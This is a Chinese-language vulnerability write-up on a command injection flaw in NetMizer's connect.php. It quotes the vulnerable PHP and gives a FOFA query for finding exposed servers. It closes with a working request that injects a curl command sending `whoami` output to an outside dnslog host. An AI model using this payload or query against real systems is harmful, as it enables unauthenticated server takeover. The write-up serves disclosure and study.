漏洞简介
NetMizer日志管理系统是一款专为网络流量管理和优化设计的日志记录与分析工具,能够高效采集、存储和分析网络设备及应用的日志数据。然而,该系统中的 /data/manage/connect.php 文件存在命令执行漏洞。未经身份验证的攻击者可以通过该漏洞在服务器端任意执行命令,写入后门程序,获取服务器权限,进而控制整个Web服务器。
影响版本
老旧版本
fofa语法
body="日志管理系统" && body="NetMizer"
漏洞分析
看下 connect.php 业务实现关键逻辑部分
if($action == "start"){
$name_gbk = mb_check_encoding($name, 'UTF-8') ? mb_convert_encoding($name, 'gbk', 'UTF-8') : $name;
$argu = array("ok"=>0);
setconfig($name_gbk, $argu);
$file = "/tmp/$name_gbk.pcap";
$cmd = "/usr/sbin/tcpdump -n -i $ifname src host $device and port $port > $file &";
$f = popen($cmd,"r");
if($f != NULL){
sleep(5);
$cmd = "/bin/ps aux | grep $ifname | grep $device | grep $port | awk '{print $2}'";
$arr = array();
exec($cmd,$arr);
$pid = $arr[0];
shell_exec(`kill $pid`);
}
pclose($f);
$cmd = "cat $file | wc -l";
$arr = array();
exec($cmd,$arr);
$total_pkt = $arr[0];
$cmd = "cat $file | awk -F'length ' '{print $2}'";
$arr = array();
exec($cmd,$arr);
$total_bytes = 0;
for($i = 0; $i < count($arr); $i ++){
$total_bytes += intval($arr[$i]);
}
$now = time();
$argu = array("pkt"=>round($total_pkt/5, 2), "total_pkt"=>$total_pkt, "total_bytes"=>$total_bytes, "bytes"=>round($total_bytes/5, 2), "create_time"=>$now, "ok"=>1);
setconfig($name_gbk, $argu);
echo '{"success":true}';
return;
}
在 if($action == "start") 部分,构建的 $cmd 字符串直接使用用户输入的 $ifname、$device 和 $port 变量执行系统命令(如 tcpdump 和 ps、kill)。这些变量未经过转义或过滤就直接拼接进命令字符串中,造成命令注入漏洞。
漏洞复现
漏洞利用示例
GET /data/manage/connect.php?action=start&device=192.168.1.1&ifname=;curl+`whoami`.dnslog.cn+%23+&name=test&port=88 HTTP/1.1
Host: netmizer.mrxn.net
成功执行 curl 命令并在DNSLOG平台得到执行结果


